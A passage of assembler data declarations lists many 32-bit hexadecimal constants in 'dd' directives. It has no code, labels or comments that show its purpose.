968F5BC1h, 4B08DF14h, 8CFDAC30h, 3DD4F400h, 0F72534D2h dd 30CA4A03h, 0BE461814h, 84809C5Ch, 18C035DCh, 944FC2Dh dd 6661C4Ah, 1CA688A9h, 1481409Dh, 0B0803093h, 16DC6948h dd 9B1022A0h, 0E9097FD0h, 40EB9008h, 81182F78h, 2288D811h dd 9B7E4618h, 2C548678h, 3BC444B5h, 8FE0E824h, 0CB2711A3h dd 0F4D1ED61h, 94380947h, 0FB1CF8AFh, 0C94CA330h, 1CD921CDh dd 265410E6h, 46A9248h, 6D3840h, 454FB87Ch, 0B5A10BD7h dd 6890A994h, 12FA67B4h, 0FEDC930Bh, 62DC4D1Ah, 1C422A46h dd 208F9C8Bh, 101CD224h, 492E1A80h, 0ADD40E0h, 0E4270EA2h dd 905444F0h, 47649601h, 0F4FE85E6h, 1A003F28h, 0BC070E8h dd 205482B7h, 220C135Bh, 584759B6h, 1A42038Bh, 7A8E6AB2h dd 90519682h, 2018AB79h, 852DCA00h, 21A2E678h, 0AB602552h dd 300A9C89h, 0E13130C4h, 1112E353h, 0A840A260h, 74EB06D5h dd 0E0D7008Ch, 2E3B4B6h, 5401224Bh, 2930E8BCh, 5872FDE9h dd 2EF50F00h, 455D9EBAh, 5430ED0Bh, 91F8174Bh, 1FD180FAh dd 397A8985h, 1C0EF64Dh, 0DC34B86Eh, 0E83EBCC0h, 87A90Eh dd 0E93EBEC9h, 7B61EE2Fh, 0A3BE7E1h, 2C647CCh, 9E9CCA4Bh dd 0C0794E72h, 4FDBFF80h, 0F27C2311h, 4501C56h, 4E6701DFh dd 64F754FEh, 5E0E8468h, 0E9461080h, 0D9740398h, 0C476A113h dd 0EA62B09Ch, 85BCA3ACh, 392248E0h, 0F4802166h, 336EB726h dd 4C2634C1h, 9C2631F8h, 0B8012801h, 204E61A9h, 901EBA11h dd 7AA23B0h, 0B4235AECh, 4CCEDBh, 6B5AF42Eh, 9D2050h, 0B0F060C1h dd 389042A1h, 475C5C96h, 6E5C04A6h, 12BEF5E7h, 0C840CB4Fh dd 81F6C0ACh, 0AA00CD1Ch, 6135BA9Dh, 2C991FEh, 6618486Ch dd 0B4848092h, 875888C8h, 215E1496h, 0C38088F2h, 0F3B4ABF9h dd 0D548000Eh, 0E4012AC5h, 2C942282h, 9DE93F80h, 934C23B9h dd 3AF37060h, 1FACD00Bh, 56B084DEh, 774D0F0h, 0D6298AF7h dd 2C290B5Dh, 0FD91B097h, 9A465280h, 0C1092095h, 4D7DF9Ch dd 6488B604h, 0DC6A00F4h, 0A4AB2A33h, 5E0CCE50h, 286C9340h dd 4D96EE18h, 40BD07Dh, 4442586Eh, 9DE4B865h, 0E331A160h dd 0C61B0600h, 2D84F518h, 90600B40h, 0C08F0EDEh, 0CF01497h dd 3407D723h, 1104B854h, 0CACB4CF2h, 63BD9A00h, 6C097678h dd 0F983454h, 0D1509A94h, 18B17954h, 0D6A82D5Ah, 0C700010h dd 3FB97A24h, 54CE2000h, 3FD30F1Dh, 80817D74h, 7E9034B4h dd 0E8D468F8h, 0C7008C9Dh, 84F781Ch, 0B0345C56h, 283E898h dd 7E918DA9h, 0B0C0A6C8h, 0B22A2B92h, 6000F4E9h, 4E1DA112h dd 776151h, 646B23E2h, 248A1AE8h, 2840E75Ah, 34E6D1CFh dd 4E1000A6h, 0A8E12D8h, 0F0A09702h, 7FE8FC8Ah, 3FB6C0C4h dd 0B1ACFCE0h, 91605BCh, 908B86C4h, 0D85FB14Fh, 0AF5D2CC0h dd 5D5408F9h, 0F4101463h, 0EA2F0D6Fh, 0EC0E81C8h, 0B4C07A88h dd 80A91AFFh dd 89827CE4h, 42040BF4h, 0C088CDB4h, 0CDA9FEC8h, 0ABEB1A2Eh dd 2C6CE102h, 15945870h, 0FCB5B40Eh, 9177CA18h, 1F0513D4h dd 0A02B2935h, 40E90D80h, 1AFA0325h, 687710EFh, 8DFDF1F8h dd 18BD78A1h, 12540832h, 0B4C44101h, 58ABC440h, 22261AB7h dd 9A04F8A3h, 2F0F5746h, 890C705h, 94C8BA2Ch, 9011705h dd 0C1C080A2h, 0D66C58AEh, 4540710Fh, 13545EDAh, 12822270h dd 0F8C2DDh, 2AF33BFBh, 0CEB80E99h, 0EF6DF900h, 45BE084Eh dd 1C4A2EE9h, 0B20428C0h, 0B18F1510h, 0CA39B09Bh, 23915160h dd 0FE07023Eh, 58F734ABh, 7EE9E830h, 69E03251h, 3054D931h dd 0F1FD01DCh, 1B35A760h, 4C082324h, 91FC1284h, 0F40E1401h dd 389C89B6h, 0B53CCE6Dh, 23443A52h, 799C00A6h, 881A016Dh dd 6C66AE07h, 71C08C8Dh, 4AD81B82h, 0B780D1B5h, 9BF0CB8h dd 310EE53Eh, 0C4605451h, 3C03EC5h, 46CF0AC8h, 0A4D17B80h dd 0E8B07CF1h, 0FE1E8CAFh, 42416929h, 0B28B54F6h, 49001479h dd 836A9330h, 1F762FFBh, 8545B92Dh, 9CCB2E00h, 0EAC27DC8h dd 800601Ch, 53CB8DBh, 346A897Fh, 0AD40B058h, 174BD927h dd 80F8116Ch, 0F9B6D940h, 91E91378h, 0EF78300Fh, 6807810Ch dd 32224FCh, 6A382930h, 98D80BD1h, 0A08A13h, 77655204h dd 4C301C98h, 4BE5A0E6h, 0A849D86Fh, 16809538h, 0AF4E3066h dd 503E6838h, 1771B22Dh, 94AF916Ch, 15B0018h, 0A08B0863h dd 0F12E026Fh, 3865E146h, 6A71F079h, 52007B18h, 2FD1A0Fh dd 528269ECh, 0AC18C418h, 3B22D1EDh, 8980563Fh, 818DA890h dd 0FB3618E8h, 3FE0F88Ah, 0AD465C68h, 1F81DD00h, 4D1E267Ah dd 0CD20F912h, 0A05FE8C1h, 0A125A987h, 11919315h, 42B37BD8h dd 4E17681Dh, 9769901h, 4C3CE855h, 0F2058CEh, 0B7B8C1C3h dd 15464D00h, 0F9A79879h, 0D0D8B9A3h, 286866Ah, 0EC9E88F8h dd 0E0F0B054h, 0D25A9412h, 4CA20841h, 1987922Ch, 0C9A569FAh dd 0FBD194D1h, 6F3BB718h, 109D7EA2h, 0EED05FFCh, 0C2E13C7Fh dd 0E9106B00h, 0EE4E65CCh, 8204B300h, 0F2F05B56h, 0C0365DB8h dd 0FB232E00h, 9D251F7Eh, 82E46B0Eh, 0A3470068h, 25035CE0h dd 8847174Eh, 0C067E544h, 0FB88B3C1h, 1EB60B01h, 0D7CFB741h dd 6CBC3C7Ch, 0A67B3E8Ch, 2F78BD26h, 18F368A1h, 54053AB5h dd 0D0A24163h, 0E730EBF2h, 0ED7E0039h, 1C88A448h, 0EF28472Dh dd 6A09D740h, 3A0454h, 4EC52E64h, 29101382h, 23B83EB4h dd 641C3A7Eh, 78DA80E3h, 34BD9486h, 97701A25h, 9D6B916Ch dd 62698501h, 303306ECh, 942CA206h, 184EB82Fh, 0C0DF7008h dd 86C25AEFh, 68B63090h, 1B79950h, 2339DE59h, 70E90910h dd 0C9C07DCCh, 0F5CB7F68h, 63E100DEh, 0CDB9CABEh, 0D6007662h dd 19BB8C58h, 0F64A463Ch, 8B394A83h, 0CFA888D0h, 9A555C63h dd 3D7C54D0h, 22FD5207h, 0E7807F85h, 4CD889D4h, 0F2F86C47h dd 0AE008843h, 0F11D6F93h, 2713AB51h, 543EC6DEh, 0A4017A23h dd 0CDA0A123h, 0AA012C79h, 0A5A8283h, 84373AABh, 148554A0h dd 0C9797F0h, 38E6991h, 802E807Dh, 6F8CAC3Bh, 5D0E9F38h dd 0BC485C34h, 4884305h, 0A02C9E0Fh, 9F86E0E0h, 870F82Ah dd 1663B5BAh, 5912D93Fh, 67B07878h, 4F0F3EC0h, 60B1253Fh dd 0D04977DEh, 48352585h, 9DD8B8C0h, 0F665C680h, 14D4AEAh dd 0DE728858h, 2A18708Ch, 0EC888248h, 8843F2h, 52930815h dd 0E9946Fh, 0B742D76Bh, 0AA483AEh, 238C5F55h, 30FEA2BCh dd 616F0783h, 0C38880B1h, 5CF0C499h, 82C79C7Fh, 44BC574Ch dd 82BCB80Fh, 0A330EAh, 1F355096h, 0DD059012h, 86A054C8h dd 0A6C440A5h, 925DA067h, 0C6068E9Ch, 79CCE5D6h, 23900021h dd 2F62EE49h, 0AF00D09Fh, 85400A2Dh, 12F40163h, 0B21C65F6h dd 307DE218h, 0B017C9D1h, 0EC80D404h, 5A499FEh, 0CE63A2BAh dd 4768D1A6h, 0AC907937h, 46102C16h, 8A2943A0h, 504D004h dd 34A989D8h, 3E88E210h, 8E7496B4h, 383AB012h, 5F03A623h dd 0A09FADEAh, 1FF5455Bh, 0C92AA219h, 2840142Ch, 0E8A935B6h dd 0B87EC0A1h, 7B7A1800h, 60F72C9Ah, 1B851253h, 72D8B12Dh dd 30B4F2F4h, 0B94A66C4h, 0B6CF74D0h, 826002A2h, 0E69C34B4h dd 0A344907Ch, 28C4690Bh, 9230FE72h, 2C8618ABh, 574031CBh dd 0F5DDC1B8h, 0CCF2C08Fh, 820664BEh, 96697B22h, 917849A8h dd 0F655170Bh, 0E4686550h, 1E66081h, 1E8E0029h, 0C7524B8Dh dd 0F0051823h, 57052E80h, 3B3EC4B1h, 0D97E10D8h, 3DBC57C1h dd 7B42E868h, 0A221B700h, 0B822E217h, 0C4041082h, 287450E3h dd 0B915E4E2h, 0B4B5E6h, 93CB7EB7h, 14DE1FFCh, 0F5C6C097h dd 8BCC6A00h, 79D849BAh, 1E5A6C09h, 8880971Bh, 9C60D988h dd 2D3AEF2Ah, 642F49B0h, 3C24B168h, 0D2661602h, 216CD27Fh dd 94263BA2h, 299F00D6h, 0EF76E358h, 0E706CBC3h, 0A7264622h dd 84B0060h, 0E8CF2468h, 6A0E491Ah, 0FFC3E0B7h, 0DF613428h dd 0C1A99810h, 15008A6h, 306C552Fh, 2C042A16h, 0C8C28F6Ah dd 71E4D967h, 95E18FEh, 934CF651h, 9202B0D9h, 68578A1Dh dd 36AEFF8h, 2C692861h, 0ACE40386h, 43F3E814h, 0F61E0788h dd 0B0A00FFEh, 13BEA093h, 0F0765E21h, 4C1268ECh, 1002EBACh dd 0DB4B4894h, 1A10586Ch, 80A2C23Ch, 828665CCh, 3D4591EFh dd 94ADD0CFh, 0FC6A6C10h, 0FAE3D410h, 0A2881865h, 467A846Ch dd 0A3DCFB05h, 9026C464h, 0A322E100h, 3C0071EEh, 187A11A8h dd 92B02E66h, 0D604B630h, 8AA0983Ch, 0D44B7CBCh, 0B532308h dd 6893F12Fh, 0C037183Dh, 87941609h, 0C8AC8E8Eh, 63FDC0B0h dd 8713CE38h, 0AC27B7C9h, 0F3A095D0h, 0C3790F56h, 9200B608h dd 82387BEEh, 92781A27h, 5990F974h, 0E085187Eh, 5D4D6B0h dd 0E4168208h, 0EE0024A4h, 3529EA57h, 0B43C1D4Ch, 8D684F7Ch dd 27986009h, 0E04FB5BCh, 769D2DC1h, 3091FCDBh, 0DE17DCAh dd 0F2007CCBh, 73A512F0h, 5CB23FFCh, 0F8FC3C6Bh, 6DA3008Ch dd 0DA4DD41Ch, 0B14ED68Bh, 58F85CD0h, 84BDF7CEh, 2EA79400h dd 0F36806E4h, 0E0058201h, 6C5B9C28h, 90DF4B70h, 9E342C44h dd 887420DCh, 0C787E4h, 68C83F06h, 0FE605A54h, 5C02AC92h dd 0F336850Bh, 84D4A426h, 0FB8804CEh, 80822DC0h, 7A0E39E0h dd 9949FACh, 601A24E9h, 0F22C9882h, 4DA0E609h, 17B83C48h dd 3C8465Ch, 0B2FB4FA9h, 9A0CB90Eh, 1C918060h, 57048E5Bh dd 2285330h, 8D27CF18h, 4E44E8E8h, 5B089E00h, 59E779C5h dd 0DE6D03F3h, 654F273Fh, 7D504AA0h, 0DA080F66h, 6200021h dd 0D5F22A27h, 781C874Eh, 6540196Fh, 0DF9A1ACCh, 860C185Bh dd 331731D8h, 0FE78F074h, 551CBA76h, 718FA0CEh, 0B81D0089h dd 79B3435h, 721AD65Eh, 4187B013h, 0FD03C604h, 0BEFC6586h dd 8E581905h, 0CFA6A95Eh, 0E40CEE80h, 9B6B441Bh, 0B1A4E160h dd 18801B21h, 0B3FFF669h, 9F39482Fh, 0F569FB9h, 98A63B00h dd 0C05DA4B1h, 0FFA52D10h, 8E300AFEh, 870D4950h, 28E30155h dd 9F36F47Ah, 0B2088072h, 0DF2D1A2Eh, 5F55017Fh, 0D433D24h dd 0DDA7FCA1h, 900BE73h, 1898F7C5h, 0DC3107DAh, 0C14E8030h dd 0CCB77879h, 0AF1E560Ch, 0C04508D4h, 79CB6F21h, 5F00862Ah dd 8D947F69h, 3EB287Bh, 34B521F3h, 81AE70B9h, 33E3270Ch dd 1B81820h, 8D8A406Ch, 80420879h, 7FE0D251h, 5E7EA4h dd 1064BEFBh, 0A0221EF2h, 11336C02h, 0D52D4F67h, 0EB27B903h dd 51191BD3h, 0E6C0FD85h dd 7908BD18h, 0C4ACB77Ch, 0C7734046h, 793FB79h, 598A603Fh dd 80200042h, 1A603930h, 0F1784DB8h, 73B303C2h, 0E3AA1652h dd 214E0830h, 0F16DEBh, 0E65FCEEAh, 0E83F0DCDh, 756ED0Ch dd 0EEBB6941h, 0F150093h, 0B706B2BEh, 1201FA50h, 22748B63h dd 27CC7804h, 248331BBh, 0DCB3CAD0h, 2A1CB452h, 601671h dd 5F0DFA2Eh, 0C3AE938Dh, 0F6993218h, 0C02B0808h, 5EE5D720h dd 0CF7A4BA8h, 0D813C60h, 59DE7Ah, 0D74AEB83h, 0CC4999EEh dd 2D828701h, 5213CB54h, 628E0C20h, 0AE92D922h, 4CC0DCAFh dd 73383C9Ch, 0DE479E00h, 3DEB1121h, 0C2BC3F52h, 2E140800h dd 51FC3334h, 0A2C42453h, 9FD73048h, 6BF88707h, 27F30921h dd 0B9212634h, 49C60B6Eh, 601F3486h, 0C302E846h, 0BCB77679h dd 17714C1Ch, 89F6F903h, 64D0C927h, 8E018F94h, 40186F93h dd 0B3F43503h, 5C3A4947h, 68909619h, 1DC418DBh, 23B77579h dd 700E4411h, 122079CAh, 3D80EEB9h, 20749B14h, 11AA01A4h dd 0B46EFD99h, 7C6268F0h, 92CC1585h, 0BA01B41Eh, 29105588h dd 22E02682h, 80E000B8h, 7A068F55h, 5B7ED4F2h, 0D834642Ah dd 0B919A000h, 0DC5A1455h, 76B122Bh, 6A200832h, 865EE2C0h dd 10F64693h, 0DA382AFDh, 8F8C5E83h, 2C805A44h, 25027803h dd 1F271490h, 46B444B7h, 0F8C037E7h, 8C38A4F5h, 1C67F74h dd 0B407A194h, 20069754h, 7F14B738h, 4ECA9A3h, 517F240h dd 0C8E86493h, 0ECD3FEh, 0C89390D2h, 0EBAE5B8Ch, 4D609700h dd 0B1C569F9h, 46D890C0h, 0F177027Fh, 316BB3C3h, 70EA1023h dd 96D301F1h, 57220EF4h, 1DFC201Bh, 191EA218h, 7B1C85B0h dd 0C135630Ch, 60912AB9h, 70A8422Eh, 115F1030h, 8CE69388h dd 0DCC903h, 4E3B5EE8h, 0C61FEB64h, 37CED703h, 31ECB65h dd 3DF8F0F8h, 0A0FEC898h, 85B06C00h, 0BA845553h, 960E643h dd 9FB70F32h, 1C80042Eh, 7C11F50Ah, 0E4A71909h, 8860013Ah dd 2826CA2Eh, 0E2558602h, 0B4317228h, 557EDA10h, 412C6F09h dd 0FE1C03C3h, 575DB13Bh, 0CABA090h, 3036D3EEh, 0DEB41DA9h dd 0D984A92Ah, 0B151802h, 9CF23B20h, 95F1B00Ch, 0CF91B060h dd 3EC368E7h, 0AF803C80h, 0DAC14201h, 7900B3BDh, 23B99AA8h dd 52EE270Ch, 7B240B2h, 2470EB30h, 1694FEC2h, 0DD7848A1h dd 7779E1CFh, 4318D4B7h, 27C86E88h, 0B6DE8B79h, 16E7A400h dd 19A52450h, 50D57F45h, 8BF18E4h, 9CB77A79h, 754B42C4h dd 3D51B000h, 50923391h, 20A41C28h, 18ECA898h, 0C058B924h dd 0ABB72800h, 0E8D78101h, 0CDC995Ch, 3DE811FEh, 493C9532h dd 0C1AC9092h, 56A6007Fh, 84A97514h, 0D807D947h, 0D01BCA3Dh dd 855F12F0h, 0F8B35017h, 2CA4512Ch, 0C06BD041h, 0D954A001h dd 2DF030EBh, 0A8CF6819h, 128F1C18h, 5089A71Ah, 3D6A4401h dd 5C8228Fh, 0BA292717h, 0A89BB3C4h, 27EA68C2h, 0E955040h dd 3F072F18h, 7B3621h, 4A44297Fh, 73CB4C92h, 410D5C00h dd 0D53C6197h, 0E46F188Dh, 0B17C9837h, 0A77B5F1Ah, 0B26882B8h dd 0A1B82128h, 0CB20880Fh, 413864CAh, 41D8CF91h, 0C3194882h dd 14C2322Bh, 542B047h, 2134182Bh, 3D2C5AE2h, 0FC226896h dd 0F8A9E7Ch, 3DC968BCh, 0CD012C8Bh, 8D9CAC3Dh, 4CF9BE00h dd 1441BC84h, 0F0022B5Bh, 0B917E61Bh, 173C823h, 938B5F0Fh dd 880618FEh, 5E02E7D5h, 0B0C78D92h, 0F8CA035h, 0A46D2AB3h dd 5F110224h, 0C40E9389h, 0DB100419h, 0BE075EE9h, 9E172443h dd 3327865Bh, 992300C1h, 9C65AFAh, 6892B5ACh, 213E0230h dd 0C56F16h, 8C1E7C45h, 972ACE1Dh, 93D1E300h, 5994759Ah dd 0DA57E84h, 31646F95h, 969440A8h, 0B28024B0h, 407282Ch dd 0BC00A588h, 53F437A0h, 5CBF5B2Ch, 9F0490A6h, 0BCC941C8h dd 558C30DAh, 0A2290C11h, 0E48BAE88h, 9D40484h, 1E9004C8h dd 0C08A2C5Bh, 0F364EB54h, 0DB00B61Bh, 60EE2ED4h, 898B3Eh dd 0DA5E9448h, 0B91BF5FEh, 0D4E09B16h, 0C0848008h, 0B3BEF17Ch dd 22229346h, 0F171F700h, 82085672h, 125F814h, 0E52B9C2Ch dd 912683FDh, 8B80C5D0h, 9A290F55h, 83E30187h, 808CA55h dd 49F200D1h, 0B7EFF805h, 2200342Fh, 0FDA1EEC2h, 4C9D7E17h dd 0F50074BDh, 99CE36DBh, 85585CA8h, 8CBBBC60h, 170FA20Fh dd 4E1BE09Dh, 1CCFB304h, 0C0EB9C23h, 0D064473Eh, 8460673Dh dd 3CC79160h, 2BDCA059h, 29F324B3h, 6A5F01E4h, 0CC1182DBh dd 941C2026h, 9BC0BE36h, 1F524E8Ch, 232091A7h, 267C7890h dd 226427EAh, 208C8D70h, 57EB1B25h, 96A41858h, 2CA7388Ch dd 0D560BB44h, 6E01B2E8h, 4F7F4B91h, 1C201DA2h, 0B89C55D2h dd 0AF843000h, 7FA10129h, 9E1D5A39h, 207C2187h, 89C00FDAh dd 4198F107h, 68C800A6h, 0F3B89D16h, 800313Ch, 0DE45BB2Dh dd 199334B6h, 0D04664C7h, 40E02252h, 31ED7BBCh, 0F130220Ch dd 900C2AFDh, 1B4BBB00h, 42D1FF49h, 6DE20045h, 0F47BC3ACh dd 0DB29EB28h, 8844A825h, 0BBE2ACA2h, 208730h, 7913283h dd 0A154653Ch, 0B107B490h, 6CD4D88Dh, 0F8998830h, 532F04A0h dd 8142385Dh, 470828h, 146F61h, 4EA694F1h, 0FEA75B49h dd 162ADC98h, 6F3DA80Ah, 0B0A68431h, 0CA87B4C8h, 0E2708D67h dd 7E6034h, 0E58B855Eh, 0AF7B0CD3h, 5AAD8A0h, 0F03B472Eh dd 25F17DEh, 3498147Ch, 14339710h, 8198B78Dh, 56BFCB1Fh dd 0DA8A1880h, 0E2C58E6Dh, 6B62591Eh, 98F9C01h, 8829073Ch dd 77874100h, 0E961CBF6h, 0C8867509h, 0C7B0059Ah, 558D5020h dd 0AA29250Dh, 0E1006896h, 86C35585h, 8EBA568h, 1C314799h dd 71143580h, 519F3Eh, 20B2D945h, 0FE64AFA0h, 0FB97B712h dd 342CA080h, 0C4155CF3h, 0B4131715h, 7FF2007Bh, 0EC922A3Fh dd 0B77ABED7h, 94F8BB48h, 51A01058h, 592F6111h, 94182404h dd 4674BCE8h, 805700B8h, 0DC8CE5DDh, 6FF50CA5h, 84705ED8h dd 1DB92Eh, 1349FD44h, 4E91E497h, 0EDA0CD8Fh, 8421111Bh dd 0E10EE326h, 0FF5F1E00h, 5CC4F949h, 0B9C1209Fh, 43CF4367h dd 50C5C59Ch, 0AEB8DC70h, 4F28728Eh, 1F580143h, 5037088Bh dd 0D621D7A4h, 9CE4EF02h, 0C5AECADAh, 5CA02498h, 1300BB46h dd 6D6024Dh, 0B612A5FEh, 0D01EAC62h, 0C4F83440h, 1365B14h dd 0F920ABC2h, 68B3A349h, 8C47BC68h, 0ADD73F01h, 91630120h dd 91492CE8h, 0B1297F0h, 14454EA9h, 6E6025E4h, 430B4C0Dh dd 98A31D50h, 403B8FF8h, 0E002AAA9h, 0F1660A32h, 67CCE25Fh dd 60B74404h, 5CE86Bh, 0EC484487h, 9E653922h, 346F8D0Ch dd 3E27D038h, 84CA3BBh, 892625A0h, 0A02FDA29h, 8A1848D1h dd 58191500h, 14A0E6D1h, 0CF479A1h, 57C31B05h, 9F7B9171h dd 932B5640h, 628909CCh, 8079C81Ah, 81180579h, 333B3904h dd 7C85E89Bh, 784BE82Dh, 26C0BB88h, 0FCAF02h, 84506A5Ch dd 312A54EBh, 29591E65h, 0E0BD1070h, 0FB5B0339h, 8D24520Dh dd 0B2AA6BA0h, 3C20DD4Bh, 7D8FBB18h, 4418269h, 872187Eh dd 0E3B3C0F1h, 6FED70h, 0BB9E4F1h, 80185CCEh, 503C1916h dd 67B7C430h, 1CE89CCFh, 5431012Ch, 0A4209E93h, 8E0F1820h dd 0E0C052C7h, 0B1B2EF25h, 2B0378D8h, 46130E86h, 8B40227Ch dd 7FB7600Ah, 78C2A778h, 0E62E2380h, 88885C0Ch, 0B248F11h dd 1F600CB7h, 8EB211E0h, 33F20CCh, 1CE5A94Ah, 407FDA2Ah dd 5FAAE8C8h, 7518E2C4h, 32B10B17h, 855D2CEAh, 793A00ACh dd 0B2C37E31h, 65C07D00h dd 7F3DFB66h, 591424B7h, 4502DEC0h, 12AB6016h, 13A441C3h dd 27B85468h, 1BDF138Ch, 53DC04E5h, 5A1700A5h, 2EA2109Dh dd 9230CF54h, 231C3B98h, 9FDF0029h, 4C3CB3A4h, 962A240Eh dd 983D876Ah, 9D296Ch, 677BF259h, 6CB67E85h, 88CD4713h dd 0C0818008h, 0B3BDF175h, 26227B46h, 0F16EF805h, 7CB05F23h dd 5C795687h, 42A170F1h, 340AEE80h, 90CCAF0Bh, 40042F08h dd 78880D52h, 4E700015h, 0C0FAE430h, 68076059h, 52CF8F7Eh dd 5B34FE82h, 0D8D871E4h, 49EB301h, 0E02465Ch, 49CD3E54h dd 0FA0480A8h, 0BE39AFh, 0C0E62E5h, 26CBE31Fh, 0B713B0B2h dd 388E59ACh, 59C0B2C8h, 17F04665h, 461D087Ah, 0B1191694h dd 0CABBD1Ch, 0EC8004E4h, 0A9266772h, 9E6F7A9Bh, 0ADEA1CA0h dd 2B8D04A2h, 8007111Fh, 9C54C29Fh, 0F5600AFh, 0A1AE30A0h dd 0A8B46F3Ch, 91A49727h, 7E4A8049h, 0EABB33E0h, 9F3B0594h dd 6F2A1911h, 0DDF80154h, 0B87F4F1Dh, 0C3C06461h, 87700196h dd 9A70CBBh, 5041F50Ah, 37E325B4h, 0D82A51h, 0FF085D9Ch dd 7E383CEDh, 9CA9F4B9h, 94184E71h, 0B8304A00h, 0BCE95FC1h dd 7498B82Bh, 359CB2CBh, 3A61C031h, 2523A8h, 8034EBA2h dd 59001DD6h, 0AF849C24h, 1B0BDE8h, 905AB362h, 521934B9h dd 3CFA31A0h, 0CA72003h, 8D17C9DEh, 0DCCF1C84h, 0B4CC0288h dd 0D3B60A14h, 6BA0B751h, 0B711C49Fh, 0FEB5A280h, 1AC20D2Ch dd 62A6FB5Fh, 190D114h, 0ADE8403Bh, 0EE43FE08h, 15C202E0h dd 0D101677Fh, 7FBB98C0h, 846D21EBh, 0AE88B10h, 8A2DF5AFh dd 0A02748A4h, 918C94ACh, 2AB90B81h, 0E0C15E84h, 80C9AE7Dh dd 1B3465Eh, 5E94D26Bh, 449630E4h, 0B2E841F7h, 82F40FA4h dd 36937E90h, 0E0DCEDBEh, 6AC0CAC5h, 0A3A94300h, 0A212714h dd 8997E7B5h, 0EA15FEC5h, 23A91038h, 161FBD05h, 80E45D10h dd 0DD9D5D92h, 8200EB08h, 7563E5ADh, 2453213Fh, 0F01BDBh dd 28FA368Ch, 0BCE7ABB3h, 0AAFB0050h, 541D2BE5h, 0A4799806h dd 83F030h, 63BA8723h, 0C7B493F3h, 290A5003h, 5F2D17B3h dd 0B0841440h, 3F8C27F8h, 2F3ACE5Dh, 13F4CB29h, 23443A5Eh dd 9010004Bh, 0BA15F895h, 9399EA00h, 5F8C9B70h, 0E33D0FB0h dd 1FD21660h, 0BED5024h, 45982194h, 60B6E480h, 0A68E78h dd 0CE077F6Fh, 6C6CD80h, 744648B0h, 8C5F0C07h, 0C465EB93h dd 5EE4D880h, 7406097h, 94CB2398h, 6C402F6Fh, 56FCB790h dd 18AFA918h, 0B1C71F51h, 4668280Ch, 448E4BC9h, 1000B123h dd 1D6F468Eh, 8054949Fh, 0D5FE93ECh, 28BE199Eh, 83FC9F40h dd 5BD10998h, 0A01D2A6Ah, 0D080B611h, 3F26C8D8h, 0E6B9D701h dd 0B29E01B4h, 0E86B2Ah, 0D4D6E306h, 124911D0h, 20973DB6h dd 0DB5CB240h, 12ECE950h, 0C899AC70h, 61185179h, 0F5869600h dd 626344E0h, 746C0035h, 0D64DB5C4h, 0BA1A098Fh, 0E5E030EDh dd 60B4E498h, 0B8E2A144h, 0C00A27E8h, 22170041h, 46AD03E4h dd 0E0F66BEBh, 99AFE6Fh, 0F0B5358Ah, 7826E879h, 12588B08h dd 9860A431h, 0F008FECh, 83EF728Dh, 48F1268Eh, 3BC48B2h dd 0F716008Ch, 0DEEE34Eh, 0A797A48Dh, 4DA4C3FCh, 0B2E4F275h dd 0D58E3049h, 0CEF35901h, 7FA145DEh, 58EC7821h, 0B5012B9h dd 23A43BC7h, 0BB950107h, 4B866BFEh, 0C005887Ch, 0F2418804h dd 8D923D12h, 9E1320F0h, 29465C38h, 5359F504h, 0E788A003h dd 60321144h, 2D932935h, 0B001F8CAh, 0C78DE9CEh, 492A451Ch dd 0B8095B98h, 3A4C37h, 0AEF87C93h, 48210935h, 0B101845h dd 630D7537h, 91A8B4AAh, 69B8A47Dh, 291D520Ah, 10ADEC3Dh dd 4B3B00h, 986479C9h, 0F2CBAFD2h, 43BA8117h, 26C898CBh dd 28A485C0h, 1D234FC3h, 0AE6B9D60h, 3F8C17ECh, 2323BCh dd 6CEF073Ch, 535954D5h, 861084ECh, 0B6E254F2h, 0FCE3730h dd 0FC0C8ED3h, 2881D900h, 585B7FCBh, 5F9C7C44h, 0CC24C509h dd 5EE3606Fh, 0DE932587h, 0D980FC45h, 0DD605EDBh, 91224B46h dd 5188A58h, 4823C43Ah, 34C0B51Dh, 7220159Ah, 48CFECB3h dd 0EC075811h, 27DE3FCCh, 841F9931h, 75825191h, 95C0D271h dd 0CD0997D7h, 0E82C1DA9h, 9058B948h, 1F85460Ch, 0B349F179h dd 65A4519Bh, 0F01CF4h, 7F022DA9h, 0E314C68Bh, 0CB434FBh dd 611DB60Fh, 8E1F0425h, 0AC062679h, 8C03BC90h, 8F7B623Ch dd 0A27FEBA6h, 0C4933DDCh, 9A1C2838h, 97F50964h, 2000B8EBh dd 0A1BED0A8h, 50C46CA5h, 0AEAFA560h, 0FF2C6600h, 0C8134A71h dd 9210B4D8h, 0B82404EEh, 0BAA90552h, 0AC186819h, 0B09F06EAh dd 4A1338BCh, 0B80F3843h, 2B1186Eh, 7DBCB93Bh, 44EA9600h dd 25FC6AB7h, 63293D21h, 807C9B81h, 0D44FDB93h, 0AB97982Dh dd 11F41D3Ch, 54CE8023h, 7CAED88h, 26AF0E02h, 0E5AB0028h dd 3444A21Dh, 9F672DB9h, 90D99829h, 0E47C4527h, 80FC6045h dd 0AA820ABEh, 85941BBAh, 0F4251D22h, 984A3DA8h, 6086FC92h dd 813BDB34h, 2C84751Fh, 8CB8ECFCh, 8FE1300h, 1751B601h dd 0E89F2D94h, 0B92AF480h, 0A412B340h, 80E40CC7h, 30AD4347h dd 8993990Eh, 0B1B66008h, 8C1F5E80h, 0CB33402h, 0C18E0D2Ch dd 8400531Ch, 36615225h, 1DFC95D8h, 50ECCC28h, 867E038Ch dd 0A8E41009h, 9F93C588h, 841DB84Fh, 97B32DC9h, 80019160h dd 0FBD522ADh, 6D0900FCh, 0E0987C8Ch, 6013CB2Ch, 9444B994h dd 2D003940h, 800ACA7Eh, 1DBB8F0Bh, 2AF884CFh, 7E77E341h dd 34E842B8h, 2881302Dh, 5B14C088h, 2F7D606Fh, 66049095h dd 97E50059h, 65B3D6DDh, 8008DABh, 14AAB87Fh, 76A8D3ECh dd 16BE0DCFh, 2D58631Bh, 1A8E8ACh, 0C9BC0E71h, 6CC4B3B4h dd 0C8908AC4h, 8C1BDB40h, 0A8760B8Dh, 0B0AECBB3h, 0F3052B64h dd 3008A2A0h, 1758974Bh, 8CB2E864h, 0E786E407h, 0AF200482h dd 9303A3Eh, 1A378992h, 9060A4CFh, 0F954B1B2h, 0B5BC5C2Ch dd 0EF78B58Ch, 0E3D1402Eh, 9D1DD405h, 6708E4F2h, 2012B8E7h dd 867CF0A0h, 54359Fh, 4A085A7Fh, 56044688h, 5C9F21B9h dd 1713E8A9h, 0CB98F40Ch, 217FB100h, 46C4D98Eh, 0DF2F01D4h dd 97683756h, 0F8242A14h, 0EDB824ADh, 0C0D45324h, 0C5C203Fh dd 32341519h, 470023B1h, 0BD35D9Bh, 1FE53ED4h, 